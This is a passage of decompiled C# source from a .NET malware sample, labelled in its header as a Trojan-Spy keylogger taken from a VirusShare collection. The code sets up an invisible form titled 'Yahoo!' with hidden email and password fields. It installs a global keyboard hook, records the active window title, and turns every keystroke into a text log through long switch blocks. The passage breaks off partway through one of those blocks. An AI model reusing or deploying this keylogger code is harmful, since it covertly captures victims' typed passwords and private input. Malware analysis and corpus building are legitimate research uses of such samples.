// Decompiled with JetBrains decompiler
// Type: sTUB3.Yahoo
// Assembly: sTUB3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A48CA51E-DD48-4A82-AD76-B7119655ACE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HEUR-Trojan-Spy.MSIL.KeyLogger.cxy-16ef54e05f60ffe8b7333259df765d3431fb83555b6fc9170539714b4f83cb9c.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using sTUB3.My;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Net;
using System.Net.Mail;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace sTUB3
{
  [DesignerGenerated]
  public class Yahoo : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("Timer1")]
    private System.Windows.Forms.Timer _Timer1;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("txtId")]
    private TextBox _txtId;
    [AccessedThroughProperty("txtPass")]
    private TextBox _txtPass;
    [AccessedThroughProperty("txtEmail")]
    private TextBox _txtEmail;
    [AccessedThroughProperty("Timer2")]
    private System.Windows.Forms.Timer _Timer2;
    [AccessedThroughProperty("BackgroundWorker1")]
    private BackgroundWorker _BackgroundWorker1;
    [AccessedThroughProperty("txtFileName")]
    private TextBox _txtFileName;
    [AccessedThroughProperty("txtTime")]
    private TextBox _txtTime;
    [AccessedThroughProperty("txtPic")]
    private TextBox _txtPic;
    [AccessedThroughProperty("txtFake")]
    private TextBox _txtFake;
    [AccessedThroughProperty("txtIpAddress")]
    private TextBox _txtIpAddress;
    private const string FileSplit = "@gogo@";
    private string[] options;
    private string text1;
    private string text2;
    private string text3;
    private string text4;
    private string text5;
    private string text6;
    [AccessedThroughProperty("kbHook")]
    private Yahoo.KeyboardHook _kbHook;
    private string strin;

    [DebuggerNonUserCode]
    static Yahoo()
    {
    }

    public Yahoo()
    {
      this.Load += new EventHandler(this.Form1_Load);
      lock (Yahoo.__ENCList)
        Yahoo.__ENCList.Add(new WeakReference((object) this));
      this.kbHook = new Yahoo.KeyboardHook();
      this.strin = (string) null;
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.components = (IContainer) new System.ComponentModel.Container();
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Yahoo));
      this.Timer1 = new System.Windows.Forms.Timer(this.components);
      this.TextBox1 = new TextBox();
      this.Label1 = new Label();
      this.txtId = new TextBox();
      this.txtPass = new TextBox();
      this.txtEmail = new TextBox();
      this.Timer2 = new System.Windows.Forms.Timer(this.components);
      this.BackgroundWorker1 = new BackgroundWorker();
      this.txtFileName = new TextBox();
      this.txtTime = new TextBox();
      this.txtPic = new TextBox();
      this.txtFake = new TextBox();
      this.txtIpAddress = new TextBox();
      this.SuspendLayout();
      TextBox textBox1_1 = this.TextBox1;
      Point point1 = new Point(12, 12);
      Point point2 = point1;
      textBox1_1.Location = point2;
      this.TextBox1.Multiline = true;
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1_2 = this.TextBox1;
      Size size1 = new Size(260, 335);
      Size size2 = size1;
      textBox1_2.Size = size2;
      this.TextBox1.TabIndex = 0;
      this.Label1.AutoSize = true;
      Label label1_1 = this.Label1;
      point1 = new Point(337, 370);
      Point point3 = point1;
      label1_1.Location = point3;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(39, 13);
      Size size3 = size1;
      label1_2.Size = size3;
      this.Label1.TabIndex = 1;
      this.Label1.Text = "Label1";
      TextBox txtId1 = this.txtId;
      point1 = new Point(248, 413);
      Point point4 = point1;
      txtId1.Location = point4;
      this.txtId.Name = "txtId";
      TextBox txtId2 = this.txtId;
      size1 = new Size(102, 20);
      Size size4 = size1;
      txtId2.Size = size4;
      this.txtId.TabIndex = 12;
      this.txtId.Visible = false;
      TextBox txtPass1 = this.txtPass;
      point1 = new Point(135, 413);
      Point point5 = point1;
      txtPass1.Location = point5;
      this.txtPass.Name = "txtPass";
      this.txtPass.PasswordChar = '#';
      TextBox txtPass2 = this.txtPass;
      size1 = new Size(109, 20);
      Size size5 = size1;
      txtPass2.Size = size5;
      this.txtPass.TabIndex = 11;
      this.txtPass.Visible = false;
      TextBox txtEmail1 = this.txtEmail;
      point1 = new Point(2, 413);
      Point point6 = point1;
      txtEmail1.Location = point6;
      this.txtEmail.Name = "txtEmail";
      TextBox txtEmail2 = this.txtEmail;
      size1 = new Size(118, 20);
      Size size6 = size1;
      txtEmail2.Size = size6;
      this.txtEmail.TabIndex = 10;
      this.txtEmail.Visible = false;
      TextBox txtFileName1 = this.txtFileName;
      point1 = new Point(122, 367);
      Point point7 = point1;
      txtFileName1.Location = point7;
      this.txtFileName.Name = "txtFileName";
      TextBox txtFileName2 = this.txtFileName;
      size1 = new Size(100, 20);
      Size size7 = size1;
      txtFileName2.Size = size7;
      this.txtFileName.TabIndex = 13;
      TextBox txtTime1 = this.txtTime;
      point1 = new Point(2, 367);
      Point point8 = point1;
      txtTime1.Location = point8;
      this.txtTime.Name = "txtTime";
      TextBox txtTime2 = this.txtTime;
      size1 = new Size(100, 20);
      Size size8 = size1;
      txtTime2.Size = size8;
      this.txtTime.TabIndex = 14;
      TextBox txtPic1 = this.txtPic;
      point1 = new Point(278, 151);
      Point point9 = point1;
      txtPic1.Location = point9;
      this.txtPic.Multiline = true;
      this.txtPic.Name = "txtPic";
      TextBox txtPic2 = this.txtPic;
      size1 = new Size(100, 121);
      Size size9 = size1;
      txtPic2.Size = size9;
      this.txtPic.TabIndex = 15;
      TextBox txtFake1 = this.txtFake;
      point1 = new Point(231, 367);
      Point point10 = point1;
      txtFake1.Location = point10;
      this.txtFake.Name = "txtFake";
      TextBox txtFake2 = this.txtFake;
      size1 = new Size(100, 20);
      Size size10 = size1;
      txtFake2.Size = size10;
      this.txtFake.TabIndex = 16;
      TextBox txtIpAddress1 = this.txtIpAddress;
      point1 = new Point(28, 2);
      Point point11 = point1;
      txtIpAddress1.Location = point11;
      this.txtIpAddress.Name = "txtIpAddress";
      TextBox txtIpAddress2 = this.txtIpAddress;
      size1 = new Size(64, 20);
      Size size11 = size1;
      txtIpAddress2.Size = size11;
      this.txtIpAddress.TabIndex = 17;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(47, 25);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.txtIpAddress);
      this.Controls.Add((Control) this.txtFake);
      this.Controls.Add((Control) this.txtPic);
      this.Controls.Add((Control) this.txtTime);
      this.Controls.Add((Control) this.txtFileName);
      this.Controls.Add((Control) this.txtId);
      this.Controls.Add((Control) this.txtPass);
      this.Controls.Add((Control) this.txtEmail);
      this.Controls.Add((Control) this.Label1);
      this.Controls.Add((Control) this.TextBox1);
      this.FormBorderStyle = FormBorderStyle.None;
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.Name = nameof (Yahoo);
      this.Opacity = 0.0;
      this.ShowInTaskbar = false;
      this.SizeGripStyle = SizeGripStyle.Hide;
      this.Text = "Yahoo!";
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual System.Windows.Forms.Timer Timer1
    {
      [DebuggerNonUserCode] get => this._Timer1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
        if (this._Timer1 != null)
          this._Timer1.Tick -= eventHandler;
        this._Timer1 = value;
        if (this._Timer1 == null)
          return;
        this._Timer1.Tick += eventHandler;
      }
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    internal virtual Label Label1
    {
      [DebuggerNonUserCode] get => this._Label1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
    }

    internal virtual TextBox txtId
    {
      [DebuggerNonUserCode] get => this._txtId;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtId = value;
    }

    internal virtual TextBox txtPass
    {
      [DebuggerNonUserCode] get => this._txtPass;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtPass = value;
    }

    internal virtual TextBox txtEmail
    {
      [DebuggerNonUserCode] get => this._txtEmail;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtEmail = value;
    }

    internal virtual System.Windows.Forms.Timer Timer2
    {
      [DebuggerNonUserCode] get => this._Timer2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
        if (this._Timer2 != null)
          this._Timer2.Tick -= eventHandler;
        this._Timer2 = value;
        if (this._Timer2 == null)
          return;
        this._Timer2.Tick += eventHandler;
      }
    }

    internal virtual BackgroundWorker BackgroundWorker1
    {
      [DebuggerNonUserCode] get => this._BackgroundWorker1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        DoWorkEventHandler workEventHandler = new DoWorkEventHandler(this.BackgroundWorker1_DoWork);
        RunWorkerCompletedEventHandler completedEventHandler = (RunWorkerCompletedEventHandler) ((a0, a1) => this.report());
        if (this._BackgroundWorker1 != null)
        {
          this._BackgroundWorker1.DoWork -= workEventHandler;
          this._BackgroundWorker1.RunWorkerCompleted -= completedEventHandler;
        }
        this._BackgroundWorker1 = value;
        if (this._BackgroundWorker1 == null)
          return;
        this._BackgroundWorker1.DoWork += workEventHandler;
        this._BackgroundWorker1.RunWorkerCompleted += completedEventHandler;
      }
    }

    internal virtual TextBox txtFileName
    {
      [DebuggerNonUserCode] get => this._txtFileName;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtFileName = value;
    }

    internal virtual TextBox txtTime
    {
      [DebuggerNonUserCode] get => this._txtTime;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtTime = value;
    }

    internal virtual TextBox txtPic
    {
      [DebuggerNonUserCode] get => this._txtPic;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtPic = value;
    }

    internal virtual TextBox txtFake
    {
      [DebuggerNonUserCode] get => this._txtFake;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtFake = value;
    }

    internal virtual TextBox txtIpAddress
    {
      [DebuggerNonUserCode] get => this._txtIpAddress;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtIpAddress = value;
    }

    private virtual Yahoo.KeyboardHook kbHook
    {
      [DebuggerNonUserCode] get => this._kbHook;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        Yahoo.KeyboardHook.KeyDownEventHandler downEventHandler = new Yahoo.KeyboardHook.KeyDownEventHandler(this.shiftandcaps);
        if (this._kbHook != null)
          Yahoo.KeyboardHook.KeyDown -= downEventHandler;
        this._kbHook = value;
        if (this._kbHook == null)
          return;
        Yahoo.KeyboardHook.KeyDown += downEventHandler;
      }
    }

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern int GetForegroundWindow();

    [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch);

    private string GetActiveWindowTitle()
    {
      string lpString = new string(char.MinValue, 100);
      Yahoo.GetWindowText(Yahoo.GetForegroundWindow(), ref lpString, 100);
      return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1));
    }

    public void shiftandcaps(Keys Key)
    {
      if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)
      {
        switch (Key)
        {
          case Keys.Back:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.Tab:
            this.TextBox1.Text += "[TAB]";
            break;
          case Keys.Return:
            this.TextBox1.Text += "\r\n";
            break;
          case Keys.Escape:
            this.TextBox1.Text += "[ESC]";
            break;
          case Keys.Space:
            this.TextBox1.Text += " ";
            break;
          case Keys.End:
            this.TextBox1.Text += "[END]";
            break;
          case Keys.Left:
            this.TextBox1.Text += "?";
            break;
          case Keys.Up:
            this.TextBox1.Text += "?";
            break;
          case Keys.Right:
            this.TextBox1.Text += "?";
            break;
          case Keys.Down:
            this.TextBox1.Text += "?";
            break;
          case Keys.Delete:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.D0:
            this.TextBox1.Text += "0";
            break;
          case Keys.D1:
            this.TextBox1.Text += "1";
            break;
          case Keys.D2:
            this.TextBox1.Text += "2";
            break;
          case Keys.D3:
            this.TextBox1.Text += "3";
            break;
          case Keys.D4:
            this.TextBox1.Text += "4";
            break;
          case Keys.D5:
            this.TextBox1.Text += "5";
            break;
          case Keys.D6:
            this.TextBox1.Text += "6";
            break;
          case Keys.D7:
            this.TextBox1.Text += "7";
            break;
          case Keys.D8:
            this.TextBox1.Text += "8";
            break;
          case Keys.D9:
            this.TextBox1.Text += "9";
            break;
          case Keys.A:
            this.TextBox1.Text += "a";
            break;
          case Keys.B:
            this.TextBox1.Text += "b";
            break;
          case Keys.C:
            this.TextBox1.Text += "c";
            break;
          case Keys.D:
            this.TextBox1.Text += "d";
            break;
          case Keys.E:
            this.TextBox1.Text += "e";
            break;
          case Keys.F:
            this.TextBox1.Text += "f";
            break;
          case Keys.G:
            this.TextBox1.Text += "g";
            break;
          case Keys.H:
            this.TextBox1.Text += "h";
            break;
          case Keys.I:
            this.TextBox1.Text += "i";
            break;
          case Keys.J:
            this.TextBox1.Text += "j";
            break;
          case Keys.K:
            this.TextBox1.Text += "k";
            break;
          case Keys.L:
            this.TextBox1.Text += "l";
            break;
          case Keys.M:
            this.TextBox1.Text += "m";
            break;
          case Keys.N:
            this.TextBox1.Text += "n";
            break;
          case Keys.O:
            this.TextBox1.Text += "o";
            break;
          case Keys.P:
            this.TextBox1.Text += "p";
            break;
          case Keys.Q:
            this.TextBox1.Text += "q";
            break;
          case Keys.R:
            this.TextBox1.Text += "r";
            break;
          case Keys.S:
            this.TextBox1.Text += "s";
            break;
          case Keys.T:
            this.TextBox1.Text += "t";
            break;
          case Keys.U:
            this.TextBox1.Text += "u";
            break;
          case Keys.V:
            this.TextBox1.Text += "v";
            break;
          case Keys.W:
            this.TextBox1.Text += "w";
            break;
          case Keys.X:
            this.TextBox1.Text += "x";
            break;
          case Keys.Y:
            this.TextBox1.Text += "y";
            break;
          case Keys.Z:
            this.TextBox1.Text += "z";
            break;
          case Keys.NumPad0:
            this.TextBox1.Text += "0";
            break;
          case Keys.NumPad1:
            this.TextBox1.Text += "1";
            break;
          case Keys.NumPad2:
            this.TextBox1.Text += "2";
            break;
          case Keys.NumPad3:
            this.TextBox1.Text += "3";
            break;
          case Keys.NumPad4:
            this.TextBox1.Text += "4";
            break;
          case Keys.NumPad5:
            this.TextBox1.Text += "5";
            break;
          case Keys.NumPad6:
            this.TextBox1.Text += "6";
            break;
          case Keys.NumPad7:
            this.TextBox1.Text += "7";
            break;
          case Keys.NumPad8:
            this.TextBox1.Text += "8";
            break;
          case Keys.NumPad9:
            this.TextBox1.Text += "9";
            break;
          case Keys.Multiply:
            this.TextBox1.Text += "*";
            break;
          case Keys.Add:
            this.TextBox1.Text += "+";
            break;
          case Keys.Subtract:
            this.TextBox1.Text += "-";
            break;
          case Keys.Decimal:
            this.TextBox1.Text += ".";
            break;
          case Keys.Divide:
            this.TextBox1.Text += "/";
            break;
          case Keys.F1:
            this.TextBox1.Text += "[F1]";
            break;
          case Keys.F2:
            this.TextBox1.Text += "[F2]";
            break;
          case Keys.F3:
            this.TextBox1.Text += "[F3]";
            break;
          case Keys.F4:
            this.TextBox1.Text += "[F4]";
            break;
          case Keys.F5:
            this.TextBox1.Text += "[F5]";
            break;
          case Keys.F6:
            this.TextBox1.Text += "[F6]";
            break;
          case Keys.F7:
            this.TextBox1.Text += "[F7]";
            break;
          case Keys.F8:
            this.TextBox1.Text += "[F8]";
            break;
          case Keys.F9:
            this.TextBox1.Text += "[F9]";
            break;
          case Keys.F10:
            this.TextBox1.Text += "[F10]";
            break;
          case Keys.F11:
            this.TextBox1.Text += "[F11]";
            break;
          case Keys.F12:
            this.TextBox1.Text += "[F12]";
            break;
          case Keys.OemSemicolon:
            this.TextBox1.Text += ";";
            break;
          case Keys.Oemcomma:
            this.TextBox1.Text += ",";
            break;
          case Keys.OemMinus:
            this.TextBox1.Text += "-";
            break;
          case Keys.OemPeriod:
            this.TextBox1.Text += ".";
            break;
          case Keys.OemQuestion:
            this.TextBox1.Text += "/";
            break;
          case Keys.Oemtilde:
            this.TextBox1.Text += "`";
            break;
          case Keys.OemOpenBrackets:
            this.TextBox1.Text += "[";
            break;
          case Keys.OemPipe:
            this.TextBox1.Text += "\\";
            break;
          case Keys.OemCloseBrackets:
            this.TextBox1.Text += "]";
            break;
          case Keys.OemQuotes:
            this.TextBox1.Text += "'";
            break;
        }
      }
      else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock)
      {
        switch (Key)
        {
          case Keys.Back:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.Tab:
            this.TextBox1.Text += "[TAB]";
            break;
          case Keys.Return:
            this.TextBox1.Text += "\r\n";
            break;
          case Keys.Escape:
            this.TextBox1.Text += "[ESC]";
            break;
          case Keys.Space:
            this.TextBox1.Text += " ";
            break;
          case Keys.End:
            this.TextBox1.Text += "[END]";
            break;
          case Keys.Left:
            this.TextBox1.Text += "?";
            break;
          case Keys.Up:
            this.TextBox1.Text += "?";
            break;
          case Keys.Right:
            this.TextBox1.Text += "?";
            break;
          case Keys.Down:
            this.TextBox1.Text += "?";
            break;
          case Keys.Delete:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.D0:
            this.TextBox1.Text += "0";
            break;
          case Keys.D1:
            this.TextBox1.Text += "1";
            break;
          case Keys.D2:
            this.TextBox1.Text += "2";
            break;
          case Keys.D3:
            this.TextBox1.Text += "3";
            break;
          case Keys.D4:
            this.TextBox1.Text += "4";
            break;
          case Keys.D5:
            this.TextBox1.Text += "5";
            break;
          case Keys.D6:
            this.TextBox1.Text += "6";
            break;
          case Keys.D7:
            this.TextBox1.Text += "7";
            break;
          case Keys.D8:
            this.TextBox1.Text += "8";
            break;
          case Keys.D9:
            this.TextBox1.Text += "9";
            break;
          case Keys.A:
            this.TextBox1.Text += "A";
            break;
          case Keys.B:
            this.TextBox1.Text += "B";
            break;
          case Keys.C:
            this.TextBox1.Text += "C";
            break;
          case Keys.D:
            this.TextBox1.Text += "D";
            break;
          case Keys.E:
            this.TextBox1.Text += "E";
            break;
          case Keys.F:
            this.TextBox1.Text += "F";
            break;
          case Keys.G:
            this.TextBox1.Text += "G";
            break;
          case Keys.H:
            this.TextBox1.Text += "H";
            break;
          case Keys.I:
            this.TextBox1.Text += "I";
            break;
          case Keys.J:
            this.TextBox1.Text += "J";
            break;
          case Keys.K:
            this.TextBox1.Text += "K";
            break;
          case Keys.L:
            this.TextBox1.Text += "L";
            break;
          case Keys.M:
            this.TextBox1.Text += "M";
            break;
          case Keys.N:
            this.TextBox1.Text += "N";
            break;
          case Keys.O:
            this.TextBox1.Text += "O";
            break;
          case Keys.P:
            this.TextBox1.Text += "P";
            break;
          case Keys.Q:
            this.TextBox1.Text += "Q";
            break;
          case Keys.R:
            this.TextBox1.Text += "R";
            break;
          case Keys.S:
            this.TextBox1.Text += "S";
            break;
          case Keys.T:
            this.TextBox1.Text += "T";
            break;
          case Keys.U:
            this.TextBox1.Text += "U";
            break;
          case Keys.V:
            this.TextBox1.Text += "V";
            break;
          case Keys.W:
            this.TextBox1.Text += "W";
            break;
          case Keys.X:
            this.TextBox1.Text += "X";
            break;
          case Keys.Y:
            this.TextBox1.Text += "Y";
            break;
          case Keys.Z:
            this.TextBox1.Text += "Z";
            break;
          case Keys.NumPad0:
            this.TextBox1.Text += "0";
            break;
          case Keys.NumPad1:
            this.TextBox1.Text += "1";
            break;
          case Keys.NumPad2:
            this.TextBox1.Text += "2";
            break;
          case Keys.NumPad3:
            this.TextBox1.Text += "3";
            break;
          case Keys.NumPad4:
            this.TextBox1.Text += "4";
            break;
          case Keys.NumPad5:
            this.TextBox1.Text += "5";
            break;
          case Keys.NumPad6:
            this.TextBox1.Text += "6";
            break;
          case Keys.NumPad7:
            this.TextBox1.Text += "7";
            break;
          case Keys.NumPad8:
            this.TextBox1.Text += "8";
            break;
          case Keys.NumPad9:
            this.TextBox1.Text += "9";
            break;
          case Keys.Multiply:
            this.TextBox1.Text += "*";
            break;
          case Keys.Add:
            this.TextBox1.Text += "+";
            break;
          case Keys.Subtract:
            this.TextBox1.Text += "-";
            break;
          case Keys.Decimal:
            this.TextBox1.Text += ".";
            break;
          case Keys.Divide:
            this.TextBox1.Text += "/";
            break;
          case Keys.F1:
            this.TextBox1.Text += "[F1]";
            break;
          case Keys.F2:
            this.TextBox1.Text += "[F2]";
            break;
          case Keys.F3:
            this.TextBox1.Text += "[F3]";
            break;
          case Keys.F4:
            this.TextBox1.Text += "[F4]";
            break;
          case Keys.F5:
            this.TextBox1.Text += "[F5]";
            break;
          case Keys.F6:
            this.TextBox1.Text += "[F6]";
            break;
          case Keys.F7:
            this.TextBox1.Text += "[F7]";
            break;
          case Keys.F8:
            this.TextBox1.Text += "[F8]";
            break;
          case Keys.F9:
            this.TextBox1.Text += "[F9]";
            break;
          case Keys.F10:
            this.TextBox1.Text += "[F10]";
            break;
          case Keys.F11:
            this.TextBox1.Text += "[F11]";
            break;
          case Keys.F12:
            this.TextBox1.Text += "[F12]";
            break;
          case Keys.OemSemicolon:
            this.TextBox1.Text += ";";
            break;
          case Keys.Oemcomma:
            this.TextBox1.Text += ",";
            break;
          case Keys.OemMinus:
            this.TextBox1.Text += "-";
            break;
          case Keys.OemPeriod:
            this.TextBox1.Text += ".";
            break;
          case Keys.OemQuestion:
            this.TextBox1.Text += "/";
            break;
          case Keys.Oemtilde:
            this.TextBox1.Text += "`";
            break;
          case Keys.OemOpenBrackets:
            this.TextBox1.Text += "[";
            break;
          case Keys.OemPipe:
            this.TextBox1.Text += "\\";
            break;
          case Keys.OemCloseBrackets:
            this.TextBox1.Text += "]";
            break;
          case Keys.OemQuotes:
            this.TextBox1.Text += "'";
            break;
        }
      }
      else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock)
      {
        switch (Key)
        {
          case Keys.Back:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.Tab:
            this.TextBox1.Text += "[TAB]";
            break;
          case Keys.Return:
            this.TextBox1.Text += "\r\n";
            break;
          case Keys.Escape:
            this.TextBox1.Text += "[ESC]";
            break;
          case Keys.Space:
            this.TextBox1.Text += " ";
            break;
          case Keys.End:
            this.TextBox1.Text += "[END]";
            break;
          case Keys.Left:
            this.TextBox1.Text += "?";
            break;
          case Keys.Up:
            this.TextBox1.Text += "?";
            break;
          case Keys.Right:
            this.TextBox1.Text += "?";
            break;
          case Keys.Down:
            this.TextBox1.Text += "?";
            break;
          case Keys.Delete:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.D0:
            this.TextBox1.Text += ")";
            break;
          case Keys.D1:
            this.TextBox1.Text += "!";
            break;
          case Keys.D2:
            this.TextBox1.Text += "@";
            break;
          case Keys.D3:
            this.TextBox1.Text += "#";
            break;
          case Keys.D4:
            this.TextBox1.Text += "$";
            break;
          case Keys.D5:
            this.TextBox1.Text += "%";
            break;
          case Keys.D6:
            this.TextBox1.Text += "^";
            break;
          case Keys.D7:
            this.TextBox1.Text += "&";
            break;
          case Keys.D8:
            this.TextBox1.Text += "*";
            break;
          case Keys.D9:
            this.TextBox1.Text += "(";
            break;
          case Keys.A:
            this.TextBox1.Text += "A";
            break;
          case Keys.B:
            this.TextBox1.Text += "B";
            break;
          case Keys.C:
            this.TextBox1.Text += "C";
            break;
          case Keys.D:
            this.TextBox1.Text += "D";
            break;
          case Keys.E:
            this.TextBox1.Text += "E";
            break;
          case Keys.F:
            this.TextBox1.Text += "F";
            break;
          case Keys.G:
            this.TextBox1.Text += "G";
            break;
          case Keys.H:
            this.TextBox1.Text += "H";
            break;
          case Keys.I:
            this.TextBox1.Text += "I";
            break;
          case Keys.J:
            this.TextBox1.Text += "J";
            break;
          case Keys.K:
            this.TextBox1.Text += "K";
            break;
          case Keys.L:
            this.TextBox1.Text += "L";
            break;
          case Keys.M:
            this.TextBox1.Text += "M";
            break;
          case Keys.N:
            this.TextBox1.Text += "N";
            break;
          case Keys.O:
            this.TextBox1.Text += "O";
            break;
          case Keys.P:
            this.TextBox1.Text += "P";
            break;
          case Keys.Q:
            this.TextBox1.Text += "Q";
            break;
          case Keys.R:
            this.TextBox1.Text += "R";
            break;
          case Keys.S:
            this.TextBox1.Text += "S";
            break;
          case Keys.T:
            this.TextBox1.Text += "T";
            break;
          case Keys.U:
            this.TextBox1.Text += "U";
            break;
          case Keys.V:
            this.TextBox1.Text += "V";
            break;
          case Keys.W:
            this.TextBox1.Text += "W";
            break;
          case Keys.X:
            this.TextBox1.Text += "X";
            break;
          case Keys.Y:
            this.TextBox1.Text += "Y";
            break;
          case Keys.Z:
            this.TextBox1.Text += "Z";
            break;
          case Keys.Multiply:
            this.TextBox1.Text += "*";
            break;
          case Keys.Add:
            this.TextBox1.Text += "+";
            break;
          case Keys.Subtract:
            this.TextBox1.Text += "-";
            break;
          case Keys.Decimal:
            this.TextBox1.Text += ".";
            break;
          case Keys.Divide:
            this.TextBox1.Text += "/";
            break;
          case Keys.F1:
            this.TextBox1.Text += "[F1]";
            break;
          case Keys.F2:
            this.TextBox1.Text += "[F2]";
            break;
          case Keys.F3:
            this.TextBox1.Text += "[F3]";
            break;
          case Keys.F4:
            this.TextBox1.Text += "[F4]";
            break;
          case Keys.F5:
            this.TextBox1.Text += "[F5]";
            break;
          case Keys.F6:
            this.TextBox1.Text += "[F6]";
            break;
          case Keys.F7:
            this.TextBox1.Text += "[F7]";
            break;
          case Keys.F8:
            this.TextBox1.Text += "[F8]";
            break;
          case Keys.F9:
            this.TextBox1.Text += "[F9]";
            break;
          case Keys.F10:
            this.TextBox1.Text += "[F10]";
            break;
          case Keys.F11:
            this.TextBox1.Text += "[F11]";
            break;
          case Keys.F12:
            this.TextBox1.Text += "[F12]";
            break;
          case Keys.OemSemicolon:
            this.TextBox1.Text += ":";
            break;
          case Keys.Oemcomma:
            this.TextBox1.Text += "<";
            break;
          case Keys.OemMinus:
            this.TextBox1.Text += "_";
            break;
          case Keys.OemPeriod:
            this.TextBox1.Text += ">";
            break;
          case Keys.OemQuestion:
            this.TextBox1.Text += "?";
            break;
          case Keys.Oemtilde:
            this.TextBox1.Text += "~";
            break;
          case Keys.OemOpenBrackets:
            this.TextBox1.Text += "{";
            break;
          case Keys.OemPipe:
            this.TextBox1.Text += "|";
            break;
          case Keys.OemCloseBrackets:
            this.TextBox1.Text += "}";
            break;
          case Keys.OemQuotes:
            this.TextBox1.Text += this.Label1.Text;
            break;
        }
      }
      else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock)
      {
        switch (Key)
        {
          case Keys.Back:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.Tab:
            this.TextBox1.Text += "[TAB]";
            break;
          case Keys.Return:
            this.TextBox1.Text += "\r\n";
            break;
          case Keys.Escape:
            this.TextBox1.Text += "[ESC]";
            break;
          case Keys.Space:
            this.TextBox1.Text += " ";
            break;
          case Keys.End:
            this.TextBox1.Text += "[END]";
            break;
          case Keys.Left:
            this.TextBox1.Text += "?";
            break;
          case Keys.Up:
            this.TextBox1.Text += "?";
            break;
          case Keys.Right:
            this.TextBox1.Text += "?";
            break;
          case Keys.Down:
            this.TextBox1.Text += "?";
            break;
          case Keys.Delete:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.D0:
            this.TextBox1.Text += "0";
            break;
          case Keys.D1:
            this.TextBox1.Text += "1";
            break;
          case Keys.D2:
            this.TextBox1.Text += "2";
            break;
          case Keys.D3:
            this.TextBox1.Text += "3";
            break;
          case Keys.D4:
            this.TextBox1.Text += "4";
            break;
          case Keys.D5:
            this.TextBox1.Text += "5";
            break;
          case Keys.D6:
            this.TextBox1.Text += "6";
            break;
          case Keys.D7:
            this.TextBox1.Text += "7";
            break;
          case Keys.D8:
            this.TextBox1.Text += "8";
            break;
          case Keys.D9:
            this.TextBox1.Text += "9";
            break;
          case Keys.A:
            this.TextBox1.Text += "a";
            break;
          case Keys.B:
            this.TextBox1.Text += "b";
            break;
          case Keys.C:
            this.TextBox1.Text += "c";
            break;
          case Keys.D:
            this.TextBox1.Text += "d";
            break;
          case Keys.E:
            this.TextBox1.Text += "e";
            break;
          case Keys.F:
            this.TextBox1.Text += "f";
            break;
          case Keys.G:
            this.TextBox1.Text += "g";
            break;
          case Keys.H:
            this.TextBox1.Text += "h";
            break;
          case Keys.I:
